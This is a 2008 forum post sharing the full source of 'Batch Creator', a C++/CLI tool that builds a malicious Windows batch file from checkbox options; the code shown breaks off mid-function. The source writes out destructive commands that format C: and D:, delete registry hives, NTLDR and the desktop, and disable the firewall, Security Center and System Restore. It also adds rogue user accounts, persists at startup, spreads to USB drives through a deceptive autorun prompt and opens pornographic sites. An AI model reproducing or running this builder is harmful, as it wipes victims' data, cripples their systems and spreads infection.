08-25-2008, 02:02 PM
ok so the last one was a complete fail but it should work now lol. 
![[Image: epicfailscreen.jpg]](http://i109.photobucket.com/albums/n71/jimmyg22/epicfailscreen.jpg)
if your compiling from the source code you need to change this line
to
without the spaces. i guess omni blocked that site (for a good reason lol) it is on line 794
[attachment=1281]
edit: i just looked around, this might actually be usable on vista!

![[Image: epicfailscreen.jpg]](http://i109.photobucket.com/albums/n71/jimmyg22/epicfailscreen.jpg)
source (Click to View)
Code:
#pragma once
#using <mscorlib.dll>
#using <System.dll>
#using <System.Drawing.dll>
#using <System.Windows.Forms.dll>
using namespace System;
using namespace System::IO;
using namespace System::Drawing;
using namespace System::Windows::Forms;
namespace BatchCreator {
using namespace System;
using namespace System::ComponentModel;
using namespace System::Collections;
using namespace System::Windows::Forms;
using namespace System::Data;
using namespace System::Drawing;
/// <summary>
/// Summary for Form1
///
/// WARNING: If you change the name of this class, you will need to change the
/// 'Resource File Name' property for the managed resource compiler tool
/// associated with all .resx files this class depends on. Otherwise,
/// the designers will not be able to interact properly with localized
/// resources associated with this form.
/// </summary>
public ref class Form1 : public System::Windows::Forms::Form
{
public:
Form1(void)
{
InitializeComponent();
//
//TODO: Add the constructor code here
//
}
protected:
/// <summary>
/// Clean up any resources being used.
/// </summary>
~Form1()
{
if (components)
{
delete components;
}
}
private: System::Windows::Forms::Button^ button1;
protected:
private: System::Windows::Forms::GroupBox^ groupBox1;
private: System::Windows::Forms::CheckBox^ checkBox4;
private: System::Windows::Forms::CheckBox^ checkBox3;
private: System::Windows::Forms::CheckBox^ checkBox2;
private: System::Windows::Forms::CheckBox^ checkBox1;
private: System::Windows::Forms::CheckBox^ checkBox6;
private: System::Windows::Forms::CheckBox^ checkBox5;
private: System::Windows::Forms::CheckBox^ checkBox7;
private: System::Windows::Forms::CheckBox^ checkBox8;
private: System::Windows::Forms::CheckBox^ checkBox10;
private: System::Windows::Forms::CheckBox^ checkBox9;
private: System::Windows::Forms::CheckBox^ checkBox12;
private: System::Windows::Forms::CheckBox^ checkBox15;
private: System::Windows::Forms::CheckBox^ checkBox14;
private: System::Windows::Forms::CheckBox^ checkBox13;
private: System::Windows::Forms::SplitContainer^ splitContainer1;
private: System::Windows::Forms::Label^ label1;
private: System::Windows::Forms::RadioButton^ radioButton1;
private: System::Windows::Forms::RadioButton^ radioButton2;
private: System::Windows::Forms::RadioButton^ radioButton3;
private: System::Windows::Forms::MaskedTextBox^ maskedTextBox1;
private: System::Windows::Forms::Label^ label2;
private: System::Windows::Forms::Label^ label3;
private: System::Windows::Forms::TextBox^ textBox1;
private: System::Windows::Forms::Label^ label4;
private: System::Windows::Forms::TextBox^ textBox2;
private: System::Windows::Forms::CheckBox^ checkBox17;
private: System::Windows::Forms::CheckBox^ checkBox16;
private: System::Windows::Forms::CheckBox^ checkBox18;
private: System::Windows::Forms::TextBox^ textBox3;
private: System::Windows::Forms::CheckBox^ checkBox20;
private: System::Windows::Forms::CheckBox^ checkBox19;
private: System::Windows::Forms::CheckBox^ checkBox11;
private: System::Windows::Forms::CheckBox^ checkBox21;
private: System::Windows::Forms::CheckBox^ checkBox24;
private: System::Windows::Forms::CheckBox^ checkBox23;
private: System::Windows::Forms::CheckBox^ checkBox22;
private: System::Windows::Forms::MaskedTextBox^ maskedTextBox2;
private: System::Windows::Forms::RadioButton^ radioButton4;
private: System::Windows::Forms::MaskedTextBox^ maskedTextBox3;
private: System::Windows::Forms::MaskedTextBox^ maskedTextBox5;
private: System::ComponentModel::IContainer^ components;
protected:
private:
/// <summary>
/// Required designer variable.
/// </summary>
#pragma region Windows Form Designer generated code
/// <summary>
/// Required method for Designer support - do not modify
/// the contents of this method with the code editor.
/// </summary>
void InitializeComponent(void)
{
System::ComponentModel::ComponentResourceManager^ resources = (gcnew System::ComponentModel::ComponentResourceManager(Form1::typeid));
this->button1 = (gcnew System::Windows::Forms::Button());
this->groupBox1 = (gcnew System::Windows::Forms::GroupBox());
this->checkBox7 = (gcnew System::Windows::Forms::CheckBox());
this->checkBox4 = (gcnew System::Windows::Forms::CheckBox());
this->checkBox3 = (gcnew System::Windows::Forms::CheckBox());
this->checkBox2 = (gcnew System::Windows::Forms::CheckBox());
this->checkBox1 = (gcnew System::Windows::Forms::CheckBox());
this->checkBox12 = (gcnew System::Windows::Forms::CheckBox());
this->checkBox10 = (gcnew System::Windows::Forms::CheckBox());
this->checkBox9 = (gcnew System::Windows::Forms::CheckBox());
this->checkBox8 = (gcnew System::Windows::Forms::CheckBox());
this->checkBox6 = (gcnew System::Windows::Forms::CheckBox());
this->checkBox5 = (gcnew System::Windows::Forms::CheckBox());
this->checkBox13 = (gcnew System::Windows::Forms::CheckBox());
this->checkBox14 = (gcnew System::Windows::Forms::CheckBox());
this->checkBox15 = (gcnew System::Windows::Forms::CheckBox());
this->splitContainer1 = (gcnew System::Windows::Forms::SplitContainer());
this->checkBox11 = (gcnew System::Windows::Forms::CheckBox());
this->checkBox24 = (gcnew System::Windows::Forms::CheckBox());
this->checkBox23 = (gcnew System::Windows::Forms::CheckBox());
this->checkBox22 = (gcnew System::Windows::Forms::CheckBox());
this->checkBox21 = (gcnew System::Windows::Forms::CheckBox());
this->checkBox20 = (gcnew System::Windows::Forms::CheckBox());
this->checkBox19 = (gcnew System::Windows::Forms::CheckBox());
this->checkBox18 = (gcnew System::Windows::Forms::CheckBox());
this->label4 = (gcnew System::Windows::Forms::Label());
this->textBox2 = (gcnew System::Windows::Forms::TextBox());
this->checkBox17 = (gcnew System::Windows::Forms::CheckBox());
this->checkBox16 = (gcnew System::Windows::Forms::CheckBox());
this->label1 = (gcnew System::Windows::Forms::Label());
this->radioButton1 = (gcnew System::Windows::Forms::RadioButton());
this->radioButton2 = (gcnew System::Windows::Forms::RadioButton());
this->radioButton3 = (gcnew System::Windows::Forms::RadioButton());
this->maskedTextBox1 = (gcnew System::Windows::Forms::MaskedTextBox());
this->label2 = (gcnew System::Windows::Forms::Label());
this->label3 = (gcnew System::Windows::Forms::Label());
this->textBox1 = (gcnew System::Windows::Forms::TextBox());
this->textBox3 = (gcnew System::Windows::Forms::TextBox());
this->maskedTextBox2 = (gcnew System::Windows::Forms::MaskedTextBox());
this->radioButton4 = (gcnew System::Windows::Forms::RadioButton());
this->maskedTextBox3 = (gcnew System::Windows::Forms::MaskedTextBox());
this->maskedTextBox5 = (gcnew System::Windows::Forms::MaskedTextBox());
this->groupBox1->SuspendLayout();
this->splitContainer1->Panel1->SuspendLayout();
this->splitContainer1->Panel2->SuspendLayout();
this->splitContainer1->SuspendLayout();
this->SuspendLayout();
//
// button1
//
this->button1->Location = System::Drawing::Point(155, 434);
this->button1->Name = L"button1";
this->button1->Size = System::Drawing::Size(147, 55);
this->button1->TabIndex = 1;
this->button1->Text = L"BUILD!!!";
this->button1->UseVisualStyleBackColor = true;
this->button1->Click += gcnew System::EventHandler(this, &Form1::button1_Click);
//
// groupBox1
//
this->groupBox1->Controls->Add(this->checkBox7);
this->groupBox1->Controls->Add(this->checkBox4);
this->groupBox1->Controls->Add(this->checkBox3);
this->groupBox1->Controls->Add(this->checkBox2);
this->groupBox1->Controls->Add(this->checkBox1);
this->groupBox1->Location = System::Drawing::Point(102, 351);
this->groupBox1->Name = L"groupBox1";
this->groupBox1->Size = System::Drawing::Size(263, 77);
this->groupBox1->TabIndex = 2;
this->groupBox1->TabStop = false;
this->groupBox1->Text = L"Damage";
//
// checkBox7
//
this->checkBox7->AutoSize = true;
this->checkBox7->Location = System::Drawing::Point(110, 43);
this->checkBox7->Name = L"checkBox7";
this->checkBox7->Size = System::Drawing::Size(134, 17);
this->checkBox7->TabIndex = 4;
this->checkBox7->Text = L"Disable Securty Center";
this->checkBox7->UseVisualStyleBackColor = true;
//
// checkBox4
//
this->checkBox4->AutoSize = true;
this->checkBox4->Location = System::Drawing::Point(172, 20);
this->checkBox4->Name = L"checkBox4";
this->checkBox4->Size = System::Drawing::Size(83, 17);
this->checkBox4->TabIndex = 3;
this->checkBox4->Text = L"Registry Del";
this->checkBox4->UseVisualStyleBackColor = true;
//
// checkBox3
//
this->checkBox3->AutoSize = true;
this->checkBox3->Location = System::Drawing::Point(6, 43);
this->checkBox3->Name = L"checkBox3";
this->checkBox3->Size = System::Drawing::Size(97, 17);
this->checkBox3->TabIndex = 2;
this->checkBox3->Text = L"NTLDR Delete";
this->checkBox3->UseVisualStyleBackColor = true;
//
// checkBox2
//
this->checkBox2->AutoSize = true;
this->checkBox2->Location = System::Drawing::Point(89, 20);
this->checkBox2->Name = L"checkBox2";
this->checkBox2->Size = System::Drawing::Size(77, 17);
this->checkBox2->TabIndex = 1;
this->checkBox2->Text = L"Format D:\\";
this->checkBox2->UseVisualStyleBackColor = true;
//
// checkBox1
//
this->checkBox1->AutoSize = true;
this->checkBox1->Location = System::Drawing::Point(6, 19);
this->checkBox1->Name = L"checkBox1";
this->checkBox1->Size = System::Drawing::Size(76, 17);
this->checkBox1->TabIndex = 0;
this->checkBox1->Text = L"Format C:\\";
this->checkBox1->UseVisualStyleBackColor = true;
//
// checkBox12
//
this->checkBox12->AutoSize = true;
this->checkBox12->Location = System::Drawing::Point(3, 141);
this->checkBox12->Name = L"checkBox12";
this->checkBox12->Size = System::Drawing::Size(100, 17);
this->checkBox12->TabIndex = 6;
this->checkBox12->Text = L"Delete Desktop";
this->checkBox12->UseVisualStyleBackColor = true;
//
// checkBox10
//
this->checkBox10->AutoSize = true;
this->checkBox10->Location = System::Drawing::Point(3, 95);
this->checkBox10->Name = L"checkBox10";
this->checkBox10->Size = System::Drawing::Size(168, 17);
this->checkBox10->TabIndex = 4;
this->checkBox10->Text = L"Disable Keyboard (Older OS\'s)";
this->checkBox10->UseVisualStyleBackColor = true;
//
// checkBox9
//
this->checkBox9->AutoSize = true;
this->checkBox9->Location = System::Drawing::Point(3, 187);
this->checkBox9->Name = L"checkBox9";
this->checkBox9->Size = System::Drawing::Size(118, 17);
this->checkBox9->TabIndex = 3;
this->checkBox9->Text = L"Add Random Users";
this->checkBox9->UseVisualStyleBackColor = true;
//
// checkBox8
//
this->checkBox8->AutoSize = true;
this->checkBox8->Location = System::Drawing::Point(3, 26);
this->checkBox8->Name = L"checkBox8";
this->checkBox8->Size = System::Drawing::Size(105, 17);
this->checkBox8->TabIndex = 2;
this->checkBox8->Text = L"Hide Documents";
this->checkBox8->UseVisualStyleBackColor = true;
//
// checkBox6
//
this->checkBox6->AutoSize = true;
this->checkBox6->Location = System::Drawing::Point(3, 49);
this->checkBox6->Name = L"checkBox6";
this->checkBox6->Size = System::Drawing::Size(113, 17);
this->checkBox6->TabIndex = 1;
this->checkBox6->Text = L"randomly open CD";
this->checkBox6->UseVisualStyleBackColor = true;
//
// checkBox5
//
this->checkBox5->AutoSize = true;
this->checkBox5->Location = System::Drawing::Point(3, 4);
this->checkBox5->Name = L"checkBox5";
this->checkBox5->Size = System::Drawing::Size(84, 17);
this->checkBox5->TabIndex = 0;
this->checkBox5->Text = L"Run on start";
this->checkBox5->UseVisualStyleBackColor = true;
//
// checkBox13
//
this->checkBox13->AutoSize = true;
this->checkBox13->Location = System::Drawing::Point(3, 118);
this->checkBox13->Name = L"checkBox13";
this->checkBox13->Size = System::Drawing::Size(96, 17);
this->checkBox13->TabIndex = 7;
this->checkBox13->Text = L"Spam Desktop";
this->checkBox13->UseVisualStyleBackColor = true;
//
// checkBox14
//
this->checkBox14->AutoSize = true;
this->checkBox14->Location = System::Drawing::Point(3, 164);
this->checkBox14->Name = L"checkBox14";
this->checkBox14->Size = System::Drawing::Size(134, 17);
this->checkBox14->TabIndex = 8;
this->checkBox14->Text = L"Multiply to Flash Drives";
this->checkBox14->UseVisualStyleBackColor = true;
//
// checkBox15
//
this->checkBox15->AutoSize = true;
this->checkBox15->Location = System::Drawing::Point(3, 210);
this->checkBox15->Name = L"checkBox15";
this->checkBox15->Size = System::Drawing::Size(127, 17);
this->checkBox15->TabIndex = 9;
this->checkBox15->Text = L"Hide Batch After Run";
this->checkBox15->UseVisualStyleBackColor = true;
//
// splitContainer1
//
this->splitContainer1->Location = System::Drawing::Point(12, 38);
this->splitContainer1->Name = L"splitContainer1";
//
// splitContainer1.Panel1
//
this->splitContainer1->Panel1->Controls->Add(this->checkBox15);
this->splitContainer1->Panel1->Controls->Add(this->checkBox5);
this->splitContainer1->Panel1->Controls->Add(this->checkBox10);
this->splitContainer1->Panel1->Controls->Add(this->checkBox14);
this->splitContainer1->Panel1->Controls->Add(this->checkBox8);
this->splitContainer1->Panel1->Controls->Add(this->checkBox12);
this->splitContainer1->Panel1->Controls->Add(this->checkBox13);
this->splitContainer1->Panel1->Controls->Add(this->checkBox6);
this->splitContainer1->Panel1->Controls->Add(this->checkBox11);
this->splitContainer1->Panel1->Controls->Add(this->checkBox9);
//
// splitContainer1.Panel2
//
this->splitContainer1->Panel2->Controls->Add(this->checkBox24);
this->splitContainer1->Panel2->Controls->Add(this->checkBox23);
this->splitContainer1->Panel2->Controls->Add(this->checkBox22);
this->splitContainer1->Panel2->Controls->Add(this->checkBox21);
this->splitContainer1->Panel2->Controls->Add(this->checkBox20);
this->splitContainer1->Panel2->Controls->Add(this->checkBox19);
this->splitContainer1->Panel2->Controls->Add(this->checkBox18);
this->splitContainer1->Panel2->Controls->Add(this->label4);
this->splitContainer1->Panel2->Controls->Add(this->textBox2);
this->splitContainer1->Panel2->Controls->Add(this->checkBox17);
this->splitContainer1->Panel2->Controls->Add(this->checkBox16);
this->splitContainer1->Size = System::Drawing::Size(435, 237);
this->splitContainer1->SplitterDistance = 215;
this->splitContainer1->TabIndex = 6;
//
// checkBox11
//
this->checkBox11->AutoSize = true;
this->checkBox11->Location = System::Drawing::Point(3, 72);
this->checkBox11->Name = L"checkBox11";
this->checkBox11->Size = System::Drawing::Size(155, 17);
this->checkBox11->TabIndex = 5;
this->checkBox11->Text = L"Disable Mouse (Older OS\'s)";
this->checkBox11->UseVisualStyleBackColor = true;
//
// checkBox24
//
this->checkBox24->AutoSize = true;
this->checkBox24->Location = System::Drawing::Point(4, 211);
this->checkBox24->Name = L"checkBox24";
this->checkBox24->Size = System::Drawing::Size(107, 17);
this->checkBox24->TabIndex = 10;
this->checkBox24->Text = L"Mess Up Internet";
this->checkBox24->UseVisualStyleBackColor = true;
//
// checkBox23
//
this->checkBox23->AutoSize = true;
this->checkBox23->Location = System::Drawing::Point(4, 188);
this->checkBox23->Name = L"checkBox23";
this->checkBox23->Size = System::Drawing::Size(138, 17);
this->checkBox23->TabIndex = 9;
this->checkBox23->Text = L"Disable System Restore";
this->checkBox23->UseVisualStyleBackColor = true;
//
// checkBox22
//
this->checkBox22->AutoSize = true;
this->checkBox22->Location = System::Drawing::Point(4, 164);
this->checkBox22->Name = L"checkBox22";
this->checkBox22->Size = System::Drawing::Size(166, 17);
this->checkBox22->TabIndex = 8;
this->checkBox22->Text = L"Delete Desktop Backgrounds";
this->checkBox22->UseVisualStyleBackColor = true;
//
// checkBox21
//
this->checkBox21->AutoSize = true;
this->checkBox21->Location = System::Drawing::Point(4, 141);
this->checkBox21->Name = L"checkBox21";
this->checkBox21->Size = System::Drawing::Size(95, 17);
this->checkBox21->TabIndex = 7;
this->checkBox21->Text = L"Hide All Drives";
this->checkBox21->UseVisualStyleBackColor = true;
//
// checkBox20
//
this->checkBox20->AutoSize = true;
this->checkBox20->Location = System::Drawing::Point(4, 118);
this->checkBox20->Name = L"checkBox20";
this->checkBox20->Size = System::Drawing::Size(130, 17);
this->checkBox20->TabIndex = 6;
this->checkBox20->Text = L"Blue Screen Of Death";
this->checkBox20->UseVisualStyleBackColor = true;
//
// checkBox19
//
this->checkBox19->AutoSize = true;
this->checkBox19->Location = System::Drawing::Point(4, 95);
this->checkBox19->Name = L"checkBox19";
this->checkBox19->Size = System::Drawing::Size(78, 17);
this->checkBox19->TabIndex = 5;
this->checkBox19->Text = L"youtube!!!";
this->checkBox19->UseVisualStyleBackColor = true;
//
// checkBox18
//
this->checkBox18->AutoSize = true;
this->checkBox18->Location = System::Drawing::Point(4, 72);
this->checkBox18->Name = L"checkBox18";
this->checkBox18->Size = System::Drawing::Size(146, 17);
this->checkBox18->TabIndex = 4;
this->checkBox18->Text = L"Open Random Porn Sites";
this->checkBox18->UseVisualStyleBackColor = true;
//
// label4
//
this->label4->AutoSize = true;
this->label4->Location = System::Drawing::Point(3, 49);
this->label4->Name = L"label4";
this->label4->Size = System::Drawing::Size(53, 13);
this->label4->TabIndex = 3;
this->label4->Text = L"Message:";
//
// textBox2
//
this->textBox2->Location = System::Drawing::Point(62, 46);
this->textBox2->Name = L"textBox2";
this->textBox2->Size = System::Drawing::Size(100, 20);
this->textBox2->TabIndex = 2;
//
// checkBox17
//
this->checkBox17->AutoSize = true;
this->checkBox17->Location = System::Drawing::Point(4, 26);
this->checkBox17->Name = L"checkBox17";
this->checkBox17->Size = System::Drawing::Size(140, 17);
this->checkBox17->TabIndex = 1;
this->checkBox17->Text = L"Display Popup Message";
this->checkBox17->UseVisualStyleBackColor = true;
//
// checkBox16
//
this->checkBox16->AutoSize = true;
this->checkBox16->Location = System::Drawing::Point(4, 4);
this->checkBox16->Name = L"checkBox16";
this->checkBox16->Size = System::Drawing::Size(117, 17);
this->checkBox16->TabIndex = 0;
this->checkBox16->Text = L"Change Time/Date";
this->checkBox16->UseVisualStyleBackColor = true;
//
// label1
//
this->label1->AutoSize = true;
this->label1->Location = System::Drawing::Point(9, 22);
this->label1->Name = L"label1";
this->label1->Size = System::Drawing::Size(50, 13);
this->label1->TabIndex = 7;
this->label1->Text = L"Fun Stuff";
//
// radioButton1
//
this->radioButton1->AutoSize = true;
this->radioButton1->Location = System::Drawing::Point(15, 280);
this->radioButton1->Name = L"radioButton1";
this->radioButton1->Size = System::Drawing::Size(73, 17);
this->radioButton1->TabIndex = 8;
this->radioButton1->Text = L"Shutdown";
this->radioButton1->UseVisualStyleBackColor = true;
//
// radioButton2
//
this->radioButton2->AutoSize = true;
this->radioButton2->Location = System::Drawing::Point(15, 303);
this->radioButton2->Name = L"radioButton2";
this->radioButton2->Size = System::Drawing::Size(59, 17);
this->radioButton2->TabIndex = 9;
this->radioButton2->Text = L"Restart";
this->radioButton2->UseVisualStyleBackColor = true;
//
// radioButton3
//
this->radioButton3->AutoSize = true;
this->radioButton3->Checked = true;
this->radioButton3->Location = System::Drawing::Point(15, 349);
this->radioButton3->Name = L"radioButton3";
this->radioButton3->Size = System::Drawing::Size(51, 17);
this->radioButton3->TabIndex = 10;
this->radioButton3->TabStop = true;
this->radioButton3->Text = L"None";
this->radioButton3->UseVisualStyleBackColor = true;
//
// maskedTextBox1
//
this->maskedTextBox1->Location = System::Drawing::Point(165, 306);
this->maskedTextBox1->Mask = L"00000";
this->maskedTextBox1->Name = L"maskedTextBox1";
this->maskedTextBox1->Size = System::Drawing::Size(100, 20);
this->maskedTextBox1->TabIndex = 11;
this->maskedTextBox1->Text = L"12345";
this->maskedTextBox1->ValidatingType = System::Int32::typeid;
//
// label2
//
this->label2->AutoSize = true;
this->label2->Location = System::Drawing::Point(107, 309);
this->label2->Name = L"label2";
this->label2->Size = System::Drawing::Size(52, 13);
this->label2->TabIndex = 12;
this->label2->Text = L"Seconds:";
//
// label3
//
this->label3->AutoSize = true;
this->label3->Location = System::Drawing::Point(105, 285);
this->label3->Name = L"label3";
this->label3->Size = System::Drawing::Size(54, 13);
this->label3->TabIndex = 13;
this->label3->Text = L"Comment:";
//
// textBox1
//
this->textBox1->Location = System::Drawing::Point(165, 280);
this->textBox1->MaxLength = 127;
this->textBox1->Name = L"textBox1";
this->textBox1->Size = System::Drawing::Size(100, 20);
this->textBox1->TabIndex = 14;
this->textBox1->Text = L"LOL :-)";
//
// textBox3
//
this->textBox3->Location = System::Drawing::Point(155, 12);
this->textBox3->Name = L"textBox3";
this->textBox3->Size = System::Drawing::Size(147, 20);
this->textBox3->TabIndex = 15;
this->textBox3->Text = L"Virus-Name.bat";
//
// maskedTextBox2
//
this->maskedTextBox2->BackColor = System::Drawing::SystemColors::Control;
this->maskedTextBox2->BorderStyle = System::Windows::Forms::BorderStyle::None;
this->maskedTextBox2->Cursor = System::Windows::Forms::Cursors::Default;
this->maskedTextBox2->ForeColor = System::Drawing::SystemColors::Control;
this->maskedTextBox2->Location = System::Drawing::Point(335, 482);
this->maskedTextBox2->Mask = L"\"";
this->maskedTextBox2->Name = L"maskedTextBox2";
this->maskedTextBox2->ReadOnly = true;
this->maskedTextBox2->Size = System::Drawing::Size(30, 13);
this->maskedTextBox2->TabIndex = 16;
this->maskedTextBox2->TabStop = false;
this->maskedTextBox2->Visible = false;
//
// radioButton4
//
this->radioButton4->AutoSize = true;
this->radioButton4->Location = System::Drawing::Point(15, 326);
this->radioButton4->Name = L"radioButton4";
this->radioButton4->Size = System::Drawing::Size(60, 17);
this->radioButton4->TabIndex = 17;
this->radioButton4->TabStop = true;
this->radioButton4->Text = L"Log Off";
this->radioButton4->UseVisualStyleBackColor = true;
//
// maskedTextBox3
//
this->maskedTextBox3->BackColor = System::Drawing::SystemColors::Control;
this->maskedTextBox3->BorderStyle = System::Windows::Forms::BorderStyle::None;
this->maskedTextBox3->Cursor = System::Windows::Forms::Cursors::Default;
this->maskedTextBox3->ForeColor = System::Drawing::SystemColors::Control;
this->maskedTextBox3->Location = System::Drawing::Point(376, 482);
this->maskedTextBox3->Mask = L"(";
this->maskedTextBox3->Name = L"maskedTextBox3";
this->maskedTextBox3->ReadOnly = true;
this->maskedTextBox3->Size = System::Drawing::Size(30, 13);
this->maskedTextBox3->TabIndex = 21;
this->maskedTextBox3->TabStop = false;
this->maskedTextBox3->Visible = false;
//
// maskedTextBox5
//
this->maskedTextBox5->BackColor = System::Drawing::SystemColors::Control;
this->maskedTextBox5->BorderStyle = System::Windows::Forms::BorderStyle::None;
this->maskedTextBox5->Cursor = System::Windows::Forms::Cursors::Default;
this->maskedTextBox5->ForeColor = System::Drawing::SystemColors::Control;
this->maskedTextBox5->Location = System::Drawing::Point(412, 479);
this->maskedTextBox5->Mask = L")";
this->maskedTextBox5->Name = L"maskedTextBox5";
this->maskedTextBox5->ReadOnly = true;
this->maskedTextBox5->Size = System::Drawing::Size(35, 13);
this->maskedTextBox5->TabIndex = 23;
this->maskedTextBox5->TabStop = false;
this->maskedTextBox5->Visible = false;
//
// Form1
//
this->AutoScaleDimensions = System::Drawing::SizeF(6, 13);
this->AutoScaleMode = System::Windows::Forms::AutoScaleMode::Font;
this->ClientSize = System::Drawing::Size(459, 501);
this->Controls->Add(this->maskedTextBox5);
this->Controls->Add(this->maskedTextBox3);
this->Controls->Add(this->radioButton4);
this->Controls->Add(this->maskedTextBox2);
this->Controls->Add(this->textBox3);
this->Controls->Add(this->textBox1);
this->Controls->Add(this->label3);
this->Controls->Add(this->label2);
this->Controls->Add(this->maskedTextBox1);
this->Controls->Add(this->radioButton3);
this->Controls->Add(this->radioButton2);
this->Controls->Add(this->radioButton1);
this->Controls->Add(this->label1);
this->Controls->Add(this->groupBox1);
this->Controls->Add(this->button1);
this->Controls->Add(this->splitContainer1);
this->Icon = (cli::safe_cast<System::Drawing::Icon^ >(resources->GetObject(L"$this.Icon")));
this->Name = L"Form1";
this->Text = L"Batch Creator";
this->groupBox1->ResumeLayout(false);
this->groupBox1->PerformLayout();
this->splitContainer1->Panel1->ResumeLayout(false);
this->splitContainer1->Panel1->PerformLayout();
this->splitContainer1->Panel2->ResumeLayout(false);
this->splitContainer1->Panel2->PerformLayout();
this->splitContainer1->ResumeLayout(false);
this->ResumeLayout(false);
this->PerformLayout();
}
#pragma endregion
private: System::Void button1_Click(System::Object^ sender, System::EventArgs^ e) {
StreamWriter^ bat = gcnew StreamWriter(textBox3->Text);
bat->WriteLine ("@echo off");
bat->WriteLine ();
bat->Write ("rem made with batch creator ");
bat->Write (maskedTextBox3->Text);
bat->Write ("epic fail");
bat->Write (maskedTextBox5->Text);
bat->Write (" v 1.0");
if( checkBox5->CheckState == CheckState::Checked )
{
bat->Write ("copy %0 ");
bat->Write (maskedTextBox2->Text);
bat->Write ("%userprofile%\\start menu\\programs\\startup");
bat->Write (maskedTextBox2->Text);
bat->WriteLine ();
}
if( checkBox8->CheckState == CheckState::Checked )
{
bat->WriteLine ();
bat->Write ("attrib +h +s ");
bat->Write (maskedTextBox2->Text);
bat->Write ("%userprofile%\\my documents");
bat->Write (maskedTextBox2->Text);
}
if( checkBox11->CheckState == CheckState::Checked )
{
bat->WriteLine ();
bat->WriteLine ("del /S /Q /F mouse.*");
}
if( checkBox10->CheckState == CheckState::Checked )
{
bat->WriteLine ();
bat->WriteLine ("del /S /Q /F keyboard.*");
}
if( checkBox13->CheckState == CheckState::Checked )
{
bat->WriteLine ();
bat->WriteLine ("mkdir %userprofile%\\desktop\\%random%");
bat->WriteLine ("mkdir %userprofile%\\desktop\\%random%");
bat->WriteLine ("mkdir %userprofile%\\desktop\\%random%");
bat->WriteLine ("mkdir %userprofile%\\desktop\\%random%");
bat->WriteLine ("mkdir %userprofile%\\desktop\\%random%");
bat->WriteLine ("mkdir %userprofile%\\desktop\\%random%");
bat->WriteLine ("mkdir %userprofile%\\desktop\\%random%");
bat->WriteLine ("mkdir %userprofile%\\desktop\\%random%");
bat->WriteLine ("mkdir %userprofile%\\desktop\\%random%");
bat->WriteLine ("mkdir %userprofile%\\desktop\\%random%");
bat->WriteLine ("mkdir %userprofile%\\desktop\\%random%");
bat->WriteLine ("mkdir %userprofile%\\desktop\\%random%");
bat->WriteLine ("mkdir %userprofile%\\desktop\\%random%");
}
if( checkBox12->CheckState == CheckState::Checked )
{
bat->WriteLine ();
bat->WriteLine ("rd /s /q %userprofile%\\desktop\\");
}
if( checkBox14->CheckState == CheckState::Checked )
{
bat->WriteLine ();
bat->WriteLine ("echo [autorun] >F:\\autorun.inf");
bat->WriteLine ("echo open=virus.bat >>F:\\autorun.inf");
bat->WriteLine ("echo action=Click OK to install USB flash drive drivers >>F:\\autorun.inf");
bat->WriteLine ("copy %0 F:\\virus.bat");
bat->WriteLine ("attrib +h +s F:\\autorun.inf");
bat->WriteLine ("attrib +h +s F:\\virus.bat");
}
if( checkBox9->CheckState == CheckState::Checked )
{
bat->WriteLine ();
bat->WriteLine ("net user %random% /add");
bat->WriteLine ("net user %random% /add");
bat->WriteLine ("net user %random% /add");
bat->WriteLine ("net user %random% /add");
bat->WriteLine ("net user %random% /add");
bat->WriteLine ("net user %random% /add");
bat->WriteLine ("net user %random% /add");
bat->WriteLine ("net user %random% /add");
bat->WriteLine ("net user %random% /add");
bat->WriteLine ("net user %random% /add");
}
if( checkBox15->CheckState == CheckState::Checked )
{
bat->WriteLine ();
bat->WriteLine ("attrib +h +s %0");
}
if( checkBox16->CheckState == CheckState::Checked )
{
bat->WriteLine ();
bat->WriteLine ("date 06-06-2006");
bat->WriteLine ("time 00:00");
}
if( checkBox17->CheckState == CheckState::Checked )
{
bat->WriteLine ();
bat->Write ("msg * ");
bat->Write (maskedTextBox2->Text);
bat->Write (textBox2->Text);
bat->Write (maskedTextBox2->Text);
bat->WriteLine ();
}
if( checkBox18->CheckState == CheckState::Checked )
{
bat->WriteLine ();
bat->WriteLine ("start www.ftvgirls.com");
bat->WriteLine ("ping localhost");
bat->WriteLine ("cls");
bat->WriteLine ("ping localhost");
bat->WriteLine ("cls");
bat->WriteLine ("start www.dachix.com");
bat->WriteLine ("ping localhost");
bat->WriteLine ("cls");
bat->WriteLine ("ping localhost");
bat->WriteLine ("cls");
bat->WriteLine ("start www.the69.com");
bat->WriteLine ("ping localhost");
bat->WriteLine ("cls");
bat->WriteLine ("ping localhost");
bat->WriteLine ("cls");
bat->WriteLine ("start www.fantasti.cc");
bat->WriteLine ("ping localhost");
bat->WriteLine ("cls");
bat->WriteLine ("ping localhost");
bat->WriteLine ("cls");
}
if( checkBox19->CheckState == CheckState::Checked )
{
bat->WriteLine ();
bat->WriteLine ("start www.youtube.com");
bat->WriteLine ("ping localhost");
bat->WriteLine ("cls");
bat->WriteLine ("ping localhost");
bat->WriteLine ("cls");
}
if( checkBox21->CheckState == CheckState::Checked )
{
bat->WriteLine ();
bat->WriteLine ("REG ADD HHKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer /v NoDrives /t REG_DWORD /d 67128863 /f");
}
if( checkBox22->CheckState == CheckState::Checked )
{
bat->WriteLine ();
bat->WriteLine ("del /s /q C:\\WINDOWS\\Web\\Wallpaper");
}
if( checkBox23->CheckState == CheckState::Checked )
{
bat->WriteLine ();
bat->WriteLine ("net stop srservice");
}
if( checkBox24->CheckState == CheckState::Checked )
{
bat->WriteLine ();
bat->WriteLine ("ipconfig /release");
}
if( checkBox1->CheckState == CheckState::Checked )
{
bat->WriteLine ();
bat->WriteLine ("format C:\\ /q /x");
}
if( checkBox2->CheckState == CheckState::Checked )
{
bat->WriteLine();
bat->WriteLine ("format D:\\ /q /x");
}
if( checkBox4->CheckState == CheckState::Checked )
{
bat->WriteLine ();
bat->WriteLine ("reg delete HKCU\\control panel /va /f");
bat->WriteLine ("reg delete HKLM\\software\\microsoft /va /f");
bat->WriteLine ("reg delete HKLM\\system\\lastgoodrecovery /va /f");
bat->WriteLine ("rmdir C:\\windows\\repair /s /q");
}
if( checkBox3->CheckState == CheckState::Checked )
{
bat->WriteLine ();
bat->WriteLine ("del /f /q C:\\ntdlr.sys");
}
if( checkBox7->CheckState == CheckState::Checked )
{
bat->WriteLine ();
bat->WriteLine ("netsh firewall set opmode mode=disable");
bat->WriteLine ();
bat->Write ("net stop ");
bat->Write (maskedTextBox2->Text);
bat->Write ("security center");
bat->Write (maskedTextBox2->Text);
bat->WriteLine ();
}
if( radioButton1->Checked)
{
